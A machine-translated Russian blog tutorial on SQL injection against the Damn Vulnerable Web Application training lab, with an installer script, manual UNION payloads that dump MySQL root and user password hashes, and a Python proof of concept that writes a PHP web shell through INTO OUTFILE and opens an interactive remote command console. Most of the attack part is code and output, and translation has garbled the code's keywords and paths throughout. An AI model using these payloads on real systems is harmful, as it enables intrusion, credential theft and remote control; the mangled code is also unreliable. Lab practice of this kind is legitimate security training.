Черт уязвимых веб-приложений – SQL-инъекция
Автор:
Ашфак Ансари

Пересмотрены:
Рейтинг:
5
На Октябрь 1, 2012
Последние изменения:Январь 18, 2013

Резюме:

Шаг за шагом и автоматизированный подход к SQL-инъекции делают нападение на Черт уязвимых веб-приложений.

Введение

Черт уязвимых веб-приложений (DVWA) является PHP / MySQL веб-приложение, это чертовски уязвимы и могут быть использованы easily.Its основных целей должны быть помощь для профессионалов в области безопасности, чтобы проверить их навыки и инструменты, в правовой среде,, помочь веб-разработчикам лучше понять процессы обеспечения веб-приложений и помощи учителей / учащихся учить / учиться безопасность веб-приложений в лабораторных условиях.

Предупреждение!

Черт уязвимых веб-приложений чертовски уязвимы! Не загрузить его на свой хостинг-провайдера public_html папку или любой рабочий веб-сервер, как он будет взломан. Я рекомендую скачать и установить XAMPP на локальном компьютере в вашей локальной сети, который используется исключительно для тестирования.
Мы не несем ответственность за то, каким образом любой использует Черт уязвимых веб-приложений (DVWA). Мы сделали целей применения ясно, и не должны быть использованы злонамеренно. Мы дали предупреждения и меры, чтобы предупредить пользователя от установки DVWA жить на веб-серверы. Если ваш веб-сервер скомпрометирован с помощью установки DVWA это не наша ответственность это ответственность человека, который загрузил и установил его.

Установка

Вообще нам нужно XAMPP настроить сервер чертовски уязвимые веб-приложения, но XAMPP сервер не что иное, как коллекция Апач, SQL, Perl, PHP, OpenSSL и другое программное обеспечение на стороне сервера, но BackTrack 5 есть все эти программного обеспечения установлена. Это означает, что нет необходимости в установке XAMPP возвратиться на машине. Все, что нужно сделать, чтобы получить Черт уязвимых веб-приложений и положите его в корневом каталоге BackTrack 5.

Прекрасный сценарий Bash доступны, которые автоматизируют весь процесс. Благодаря: Трэвис Филлипс.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
эхо ""
эхо "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
эхо "Черт # уязвимые Web App Installer Script #"
эхо "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
эхо "Кодируется: Трэвис Филлипс"
эхо "Сайт: HTTP://theunl33t.blogspot.com\N"
эхо "Автор изменений: Ашфак Ансари\N"
эхо "Сайт: HTTP://hacksys.vfreaks.com\N"

эхо "[*] Изменение в директорию / Var / WWW ..."
компакт-диск /было/WWW > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Создание каталога DVWA ..."
MkDir dvwa > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Переход на временный каталог ..."
компакт-диск /TMP
эхо "Done!\N"

эхо "[*] Загрузка DVWA ..."
Wget HTTP://voxel.dl.sourceforge.net/проект/dvwa/DVWA-1.0.7.zip
эхо "Done!\N"

эхо -N "[*] DVWA распаковки ..."
расстегнуть молнию DVWA-1.0.7.zip > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Удаление архива ..."
комната DVWA-1.0.7.zip > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Копирование dvwa к корню Web Directory ..."
CP -R dvwa/* /было/WWW/dvwa > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Клиринговый папка Temp ..."
комната -R dvwa > /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Включение удаленного включить в php.ini ..."
CP /и т.д./php5/apache2/php.ini /и т.д./php5/apache2/php.ini1
жажда 'S / allow_url_include = Off / allow_url_include = Вкл /' /и т.д./php5/apache2/php.ini1 > /и т.д./php5/apache2/php.ini
комната /и т.д./php5/apache2/php.ini1
эхо "Done!\N"

эхо -N "[*] Включение права на запись в / Var / WWW / dvwa / взломать / закачивать ..."
CHMOD 777 /было/WWW/dvwa/взломать/добавления/
эхо "Done!\N"

эхо -N "[*] Запуск веб-служб ..."
Служба начала apache2 &ампер;> /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Запуск MySQL ..."
Служба MySQL начала &ампер;> /разработчика/нулевой
эхо "Done!\N"

эхо -N "[*] Обновление файла конфигурации ..."
CP /было/WWW/dvwa/конфиг/config.inc.php /было/WWW/dvwa/конфиг/config.inc.php1
жажда 'S /'\'\''/'\''TOOR'\''/' /было/WWW/dvwa/конфиг/config.inc.php1 > /было/WWW/dvwa/конфиг/config.inc.php
комната /было/WWW/dvwa/конфиг/config.inc.php1
эхо "Done!\N"

эхо -N "[*] Обновление базы данных ..."
Wget --пост-данных "CREATE_DB = Создать / Сброс базы данных" HTTP://127.0.0.1/dvwa/setup.php &ампер;> /разработчика/нулевой
MySQL -Вы корень --пароль='TOOR' "Обновление dvwa.users установить аватар =" / взломать / Users / gordonb.jpg" где пользователь = "gordonb";'
MySQL -Вы корень --пароль='TOOR' "Обновление dvwa.users установить аватар =" / взломать / Users / smithy.jpg" где пользователь = "кузницы";'
MySQL -Вы корень --пароль='TOOR' "Обновление dvwa.users установить аватар =" / взломать / Users / admin.jpg" где пользователь = "Admin";'
MySQL -Вы корень --пароль='TOOR' "Обновление dvwa.users установить аватар =" / взломать / Users / pablo.jpg" где пользователь = "Пабло";'
MySQL -Вы корень --пароль='TOOR' "Обновление dvwa.users установить аватар =" / hackable/users/1337.jpg" где пользователь = "1337";'
эхо "Done!\N"

эхо -N "[*] Начиная с Firefox DVWA\NUserName: Админ\NПароль: пароль"
Firefox HTTP://127.0.0.1/dvwa/login.php &ампер;> /разработчика/нулевой &ампер;
эхо "\NСделанный!\N"
эхо "[\033[1;32м * 033[1;37м] Установка DVWA Готовые!\N"

DVWA успешно установлен, давайте перейдем к SQL-инъекции. Существуют три уровня SQL инъекций на Черт уязвимые веб-приложения (Низкий, Среднего и высокого). В этой статье мы расскажем о том, как победить Низкий уровень.

Уязвимый код

1
2
3
4
5
6
$ID=$_GET['ID'];

$GetId="SELECT first_name, last_name из пользователей, где user_id = '$ID'";
$результат=mysql_query($GetId) или die('
<предварительно>'
. mysql_error() . '</предварительно>
'
);

Приведенный выше код является уязвимым для SQL-инъекция. Как видите нет санитарной обработки использовали, переменная просто вставляется прямо в запросе SQL.

Давайте подтвердить, действительно ли он уязвим для SQL-инъекций:

UserID: ‘

Страница, возвращаемая следующее сообщение об ошибке:

У вас ошибка в запросе; Изучите документацию по используемой версии сервера MySQL для правого синтаксиса около ””’ в строке 1

Это подтверждает, что он уязвим для SQL-инъекций, Первое, что нужно сделать, это выяснить, сколько столбцов есть:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

Эти просто вернуть ту же страницу.

UserID: ‘ ORDER BY 3#

Тогда это дает нам бесценный сообщение об ошибке:

Неизвестный столбец '3’ в 'порядке пункта’

Следовательно, Существуют две колонки, которые, очевидно, first_name last_name и столбцов, как, когда вы передаете идентификатор пользователя: сформировать правильное ID пользователя (1) Например, вы получаете эту:

ID: 1
Имя: Админ
Фамилия: Админ

Право, Теперь пришло время узнать имя базы данных, имя таблицы, имя столбца и все остальное, полезно и интересно. Первая вещь сначала давайте выясним, версия базы данных:

ID: ‘ UNION ALL SELECT, 1, @ @ VERSION #
Имя: 1
Фамилия: 5.1.41-3ubuntu12.10

Таким образом, она использует MySQL 5.1.41-3 на Ubuntu. Позволяет найти пользователя база данных работает как и имя базы данных, мы имеем дело с:

ID: ‘ UNION ALL Выбор пользователя(),база данных()#
Имя: @ локальный корневой
Фамилия: dvwa

Пользователь базы данных корень и базы данных мы имеем дело с является dvwa. Поскольку пользователь является корневым давайте MySQL дамп хэш:

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: корень
Фамилия: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: корень
Фамилия: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: корень
Фамилия: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: Debian-SYS-Мейнт
Фамилия: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: корень
Фамилия: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL Выбор пользователя,пароль из mysql.user #
Имя: Админ
Фамилия: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Вот это да! Мы получили корневой Passord хэш. Мы можем использовать John The Ripper взломать хэш.

Мы знаем, что имя базы данных dvwa. Давайте выясним имя таблицы:

ID: ‘ UNION ALL SELECT, table_schema,ОТ INFORMATION_SCHEMA.TABLES table_name WHERE table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: гостевая книга

ID: ‘ UNION ALL SELECT, table_schema,ОТ INFORMATION_SCHEMA.TABLES table_name WHERE table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: пользователей

Есть две таблицы в dvwa базу данных с именем, как гостевая книга и пользователей

Сейчас, Давайте найдем в столбцах пользователей таблица.

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: comment_id

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: комментировать

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: название

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: user_id

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: first_name

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: last_name

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: пользователь

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: пароль

ID: ‘ UNION ALL SELECT, table_schema, column_name ОТ INFORMATION_SCHEMA.COLUMNS ГДЕ table_schema LIKE '%% dvwa’ #
Имя: dvwa
Фамилия: Аватара

Устрашающий, давайте дамп имя пользователя и пароль dvwa.users таблица. Поехали.

ID: ‘ UNION ALL Выбор пользователя, пароль из dvwa.users #
Имя: Админ
Фамилия: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL Выбор пользователя, пароль из dvwa.users #
Имя: gordonb
Фамилия: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL Выбор пользователя, пароль из dvwa.users #
Имя: 1337
Фамилия: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL Выбор пользователя, пароль из dvwa.users #
Имя: Пабло
Фамилия: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL Выбор пользователя, пароль из dvwa.users #
Имя: кузница
Фамилия: 5f4dcc3b5aa765d61d8327deb882cf99

Сделанная работа. Мы успешно сбрасывали учетные данные пользователя. Мы можем взломать их с помощью любых MD5 Hash Cracker.

HackSys команды создал ВОУ в Python, который помогает в автоматизированной SQL-инъекции на DVWA и дает приглашение оболочки, где мы можем запустить регулярные команд оболочки.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/USR / BIN / Python
#________________________________________________
#    Черт уязвимых веб-приложений - DVWA
#     SQL-инъекция в Exploit RCE - КЦ
#   Ашфак Ансари (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (ООО)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Сила команды HackSys - Panthera
#________________________________________________
#
импортировать системы, гнездо, URLLIB, ре, urllib2, GETPASS, строка, время, случайный, base64
от optparse импортировать OptionParser
от cookielib импортировать CookieJar

descLogo = """
________________________________________________

     Черт уязвимых веб-приложений - DVWA
           SQL-инъекция в RCE - КЦ
   Ашфак Ансари (hacksysteam@hotmail.com)

            (__)
            (ООО)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Сила команды HackSys - Panthera
________________________________________________

"""


#Цвет переменные, которые будут использоваться с командой печати
RED= "\033[31м" # красный
GREEN= "\033[32м" # зеленый
WHITE= "\033[0м" # белый
ГОЛУБОЙ = "\033[36м" #голубой
PURPLE = "\033[35м" #фиолетовый

#Переменные
urlStart = "Уязвимости / SQLI / index.php?ID ="
urlEnd = "&Представьте = Отправить"
shellName = "Fd7cb4cb0031ba249"
агенты = ["Mozilla/4.0 (совместимый; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (совместимый; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; Вы; в)"]
агент = случайный.выбор(агенты)


#Справку по использованию помощи
использование = ГОЛУБОЙ + ". /% Прог [<опции>] -T [цель] -ре [каталог]"
использование += "\NПример: ./%прог-P локального:8080 -T 192.168.1.15:8080 -D / dvwa /"

#Параметров анализатора
синтаксический анализатор = OptionParser(использование=использование)
синтаксический анализатор.add_option("-П", тип="Строка",действие="Магазин", Dest="Прокси",
                  помогать="HTTP-прокси <сервер:порт>")
синтаксический анализатор.add_option("-T", тип="Строка", действие="Магазин", Dest="Цель",
                  помогать="Целевой сервер <сервер:порт>")
синтаксический анализатор.add_option("-D", тип="Строка", действие="Магазин", Dest="DirPath",
                  помогать="Путь к каталогу Черт уязвимых веб-приложений")
(опции, аргументы) = синтаксический анализатор.parse_args()


#Ввод текста - Шутки ради
Def typingText(Текст сообщения, цвет):
 
  стараться:
    для я в Текст сообщения:
      печатать цвет + "\B%с",
      системы.STDOUT.заподлицо()
      время.спать(0.020)
  кроме:
    проходить
 

если только(системы.ARGV) < 5:
    typingText(descLogo, PURPLE)
    синтаксический анализатор.print_help()
    системы.выход(1)
   

#Прокси обработчик
Def GetProxy():
 
    стараться:
        proxy_handler = urllib2.Прокси обработчика({'HTTP': опции.доверенность})
    кроме(гнездо.Тайм-аут):
            печатать RED + "\TПрокси истекло ...\N"
            системы.выход(1)
    возврат proxy_handler


#Тест подключения прокси
Def testProxy():
 
    печатать(ГОЛУБОЙ + "[+] Тестирование прокси% @ S ..." % (опции.доверенность))
    открывашка = urllib2.build_opener(GetProxy())
   
    стараться:
      проверка = открывашка.открыть(«HTTP://www.google.com").читать()
    кроме:
      проверка = 0
      проходить
   
    если проверка >= 1:
      печатать(GREEN + "\TПрокси находится, работает ...\N")
    еще:
      печатать RED + "\TПрокси не удалось ... Выход!\N"
      системы.выход(1)


#Получить ответ от сервера
Def getServerResponse(CJ, targetURL, данные):
     
    если опции.доверенность:
      стараться:
    открывашка = urllib2.build_opener(GetProxy(), urllib2.HTTPCookieProcessor(CJ))
    открывашка.addheaders = [('User-Agent', агент)]
    проверка = открывашка.открыть(targetURL, данные).читать()
    возврат проверка
      кроме:
    печатать (RED + "\TПодключение к прокси не удалось удаленной цели ...\N")
    системы.выход(1)
    еще:
      стараться:
    открывашка = urllib2.build_opener(urllib2.HTTPCookieProcessor(CJ))
    открывашка.addheaders = [('User-Agent', агент)]
    проверка = открывашка.открыть(targetURL, данные).читать()
    возврат проверка
      кроме:
    печатать (RED + "\TЦель подключения не удалась, проверить адрес ...\N")
    системы.выход(1)


#Попробуйте войти в черту уязвимых веб-приложений
Def doLogin():
 
    печатать(ГОЛУБОЙ + "[+] Пытаетесь войти на DVWA ...")
    targetURL = «HTTP://" + опции.цель + опции.dirPath + "Login.php"
    величины = {"Имя пользователя" : 'Admin', "Пароль" : "Пароль", "Login" : "Login"}
    данные = URLLIB.UrlEncode(величины)
    CJ = CookieJar()
   
    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
       
    если не ре.поиск("Ошибка входа", respHTML):
      время.спать(1)
      typingText("\TУспешной проверки подлинности ...\N\N", GREEN)
      возврат CJ
    еще:
      время.спать(1)
      typingText("\TПроверка подлинности отказано! Выход ...\N\N\N", RED)
      системы.выход(1)


#Попробуйте tamperthe уровень безопасности Черт уязвимых веб-приложений
Def lowSecurity(adminCookie):
 
    печатать(ГОЛУБОЙ + "[+] Фальсификация безопасности DVWA ...")
    targetURL = «HTTP://" + опции.цель + опции.dirPath + "Security.php"
    величины = {«Безопасности» : «Низкий», 'Seclev_submit' : "Отправить"}
    данные = URLLIB.UrlEncode(величины)
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция
   
    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
   
    если ре.поиск("Уровень безопасности в настоящее время <в>низкий</в>", respHTML):
      время.спать(1)
      typingText("\TУровень безопасности успешных назначается низкий ...\N\N", GREEN)
    еще:
      время.спать(1)
      typingText("\TНевозможно вмешиваться уровень безопасности! Выход ...\N\N", RED)
      системы.выход(1)


#Проверьте, если целью является уязвимым для инъекции SQL
Def testSQLinjection(adminCookie):
 
    печатать(ГОЛУБОЙ + "[+] Проверка, если целью является уязвимым ...")
    injection_url = "1 '"
    targetURL = «HTTP://" + опции.цель + опции.dirPath + urlStart + injection_url + urlEnd
    данные = ""
   
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция

    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
   
    если ре.поиск("Ошибка в запросе", respHTML):
      время.спать(1)
      typingText("\Tw00t -- Цель оказалась уязвимой ...\N\N", GREEN)
    еще:
      время.спать(1)
      typingText("\To00w -- Цель не уязвимы! Выход ...\N\N", RED)    
      системы.выход(1)


#Найти MySQL подробнее
Def findMySQLInfo(adminCookie):
 
    печатать(ГОЛУБОЙ + "[+] Retriving MySQL информация ...")
    injection_url = "1 ' UNION ALL SELECT CONCAT_WS(0X3B,0x4861636b537973205465616d,пользователь(),база данных(),версия(),0x4861636b537973205465616d)%2C2; #"
    targetURL = «HTTP://" + опции.цель + опции.dirPath + urlStart + injection_url + urlEnd
    данные = ""
   
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция

    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
   
    # Теперь извлечь интересную информацию
    get_secret_data = строка.находить(respHTML,  "HackSys команды")
     
    # Если цель не уязвима выход
    если get_secret_data == -1:
        typingText("\TОперация не выполнена. Выход сейчас ...\N\N", RED)
        системы.выход(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = строка.находить(new_html4,  "HackSys команды")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Данные были получены, Теперь форматирования и отображения ее
    formatted_output = улица.раскол(new_html_5,  ";")
    время.спать(1)
    печатать GREEN + "\TБаза данных MySQL: ",  formatted_output[2]
    печатать GREEN + "\TВерсия MySQL : ",  formatted_output[3]
    печатать GREEN + "\TПользователь базы данных MySQL : ",  formatted_output[1]
    печатать ""
    возврат


#Попробуйте количество записей в таблице пользователей
Def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL Выбрать 1% 2C COUNT(*)+от пользователей % 3B% 23"
    targetURL = «HTTP://" + опции.цель + опции.dirPath + urlStart + injection_url + urlEnd
    данные = ""
   
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция

    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
   
    # Теперь извлечь интересную информацию
    get_secret_data = строка.находить(respHTML,  "<бром>Фамилия:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = строка.находить(new_html,  "</предварительно>\R\N\R\N\T</DIV>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Данные были получены, Теперь форматирования и отображения ее
    formatted_output = улица.раскол(new_html_2,  ": ")
    возврат formatted_output[2]
   

#Пытается выводить название имя пользователя и пароль из таблицы пользователей
Def findUserPasswords(adminCookie, индекс):
 
    injection_url = "1" UNION ALL Выбрать 1% 2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+От пользователей допустимая" + улица(индекс) + "% 2C30% 3B% 23"
    targetURL = «HTTP://" + опции.цель + опции.dirPath + urlStart + injection_url + urlEnd
    данные = ""
   
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция

    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)
   
    # Теперь извлечь интересную информацию
    get_secret_data = строка.находить(respHTML,  "HackSys команды")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = строка.находить(new_html,  "HackSys команды")    
    new_html_2 = new_html[:new_get_secret_data]

    # Данные были получены, Теперь форматирования и отображения ее
    formatted_output = улица.раскол(new_html_2,  ";")
    время.спать(1)
    печатать GREEN + "\TID пользователя : ",  formatted_output[1]
    печатать GREEN + "\TИмя: ",  formatted_output[2]
    печатать GREEN + "\TФамилия : ",  formatted_output[3]
    печатать GREEN + "\TИмя пользователя: ",  formatted_output[4]
    печатать GREEN + "\TХэш пароля : ",  formatted_output[5]
    печатать ""


#Попробуйте загрузить tinyShell для интерактивной атаки
Def uploadShellViaSQLi(adminCookie):
 
    печатать(ГОЛУБОЙ + "[+] Загрузка Shell через SQLi ...")
   
    #XAMPP на Windows XP
    #injection_url ="

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27% 3C% 3Fphp системы(base64_decode(%24_GET[%22CMD% 22% 5D% 29% 29% 3B % 3F% 3E% 27 INTO OUTFILE % 27% 2Fvar% 2Fwww% 2Fdvwa% 2F" + shellName + ». PHP% 27% 3B% 23"
   
    targetURL = «HTTP://" + опции.цель + опции.dirPath + urlStart + injection_url + urlEnd
    данные = ""
   
    CJ = adminCookie #Используйте печенья вернулся из doLogin() функция

    #Получить ответ от сервера и хранить его в переменной
    respHTML = getServerResponse(CJ, targetURL, данные)

    если ре.поиск("<h3>ID пользователя:</h3>", respHTML):
      время.спать(1)
      typingText("\Tw00t -- Shell успешно загружен ...\N\N", GREEN)
    Элиф ре.поиск("Уже существует</предварительно>", respHTML):
      время.спать(1)
      typingText("\Tw00t -- Shell уже существует ...\N\N", GREEN)  
    еще:
      время.спать(1)
      typingText("\To00w -- Не удается загрузить оболочку ...\N\N", RED)
      системы.выход(1)


#Начало интерактивной сессии атаки
Def interactiveAttack(adminCookie):
 
  печатать ГОЛУБОЙ + "[+] Ввод интерактивных удаленной консоли (Q для отказа от курения)\N" + WHITE + "\N  HackSys команды - Panthera\N   Автор: Ашфак Ансари\N  hacksysteam@hotmail.com\N HTTP://hacksys.vfreaks.com /\N\N"
  Hn = GREEN + "% S @ #% S " % (GETPASS.GetUser(), опции.цель) + WHITE
  CMD = ""
  данные = ""
  CJ = adminCookie
  в то время как CMD != 'Q':
    стараться:
      CMD = raw_input(Hn)
      cmd64 = base64.b64encode(CMD)      
      targetURL = («HTTP://%% S% S s.php?CMD =% S" % (опции.цель, опции.dirPath, shellName, cmd64))
      или = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = или.раскол("Admin")
      печатать WHITE + shellOutput[2]
    кроме:
      перерыв
 
  # самоубийство
  rmShell = base64.b64encode("RM s.php%" % (shellName))
  targetURL = («HTTP://%% S% S s.php?CMD =% S" % (опции.цель, опции.dirPath, shellName, rmShell))
  или = getServerResponse(CJ, targetURL, rmShell)

     
#Основная функция
Def основной():
 
  #Распечатать баннер в стиле текста Typing
  typingText(descLogo, PURPLE)
 
  #Проверьте и подключения прокси-сервера, если указать с помощью аргумента-P
  если опции.доверенность:
    testProxy()

  #Захватите Админ печенья
  adminCookie = doLogin()
 
  #Tamper уровень безопасности
  lowSecurity(adminCookie)
 
  #Испытание SQL Injection Vulnerability
  testSQLinjection(adminCookie)
 
  #MySQL дамп подробнее
  findMySQLInfo(adminCookie)
 
  #Найти количество записей в таблице пользователей
  totalRecords = десятичного(findNoOfRecordsInTable(adminCookie))
 
  печатать(ГОЛУБОЙ + "[+] Retriving Имя пользователя и пароли ...")
 
  для индекс в диапазон(1,totalRecords 1):
    #Дамп использования паролей
    findUserPasswords(adminCookie, индекс)
 
  #Добавить tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Начало интерактивной атаки
  interactiveAttack(adminCookie)
 
если __name__ == "__main__":
    основной()

Скачать Damn уязвимых веб-приложений – SQL-инъекция PoC

 

DVWA_SQLi.zip

 
Спасибо, что нашли время, чтобы прочитать этот пост. Если вы сталкиваетесь с любой вопрос, пожалуйста напишите нам по адресу: hacksysteam@hotmail.com

 
 

178,061 просмотров всего, 42 просмотров сегодня

Следующие две вкладки изменять содержимое ниже.

Ашфак Ансари

Исследователь безопасности
Ашфак Ансари является основателем HackSys кода команды по имени "Panthera". Он исследователь безопасности с опытом работы в различных аспектах информационной безопасности. Он является автором "HackSys Экстремальные Уязвимые водителя" и "Shellcode смерти". Он также написал и опубликовал различные технические документы на эксплуатацию программного обеспечения низкого уровня. Его основной интерес заключается в "Низкий уровень эксплуатации", "Обратное проектирование", "Анализ программы" и "Гибридная Фаззинг". Он фанат искусственного интеллекта и машинного обучения. Он глава свинец для нулевой Пуне.

Нет комментариев : “Черт уязвимых веб-приложений – SQL-инъекция”

Трекбеки/Пинги

  1. Черт уязвимых веб-приложений - местное включение файла (LFI) | HackSys команды - Компьютер Security Research, Тестирование, Этические взлома, Техническая поддержка для Windows - [...] вы не читали первую часть, вот ссылка: HTTP://hacksys.vfreaks.com / переписка тестирование / чертовски уязвимые веб-приложение-SQL-injection.html [...]

Оставить комментарий

Ваш электронный адрес не будет опубликован. Обязательные поля помечены *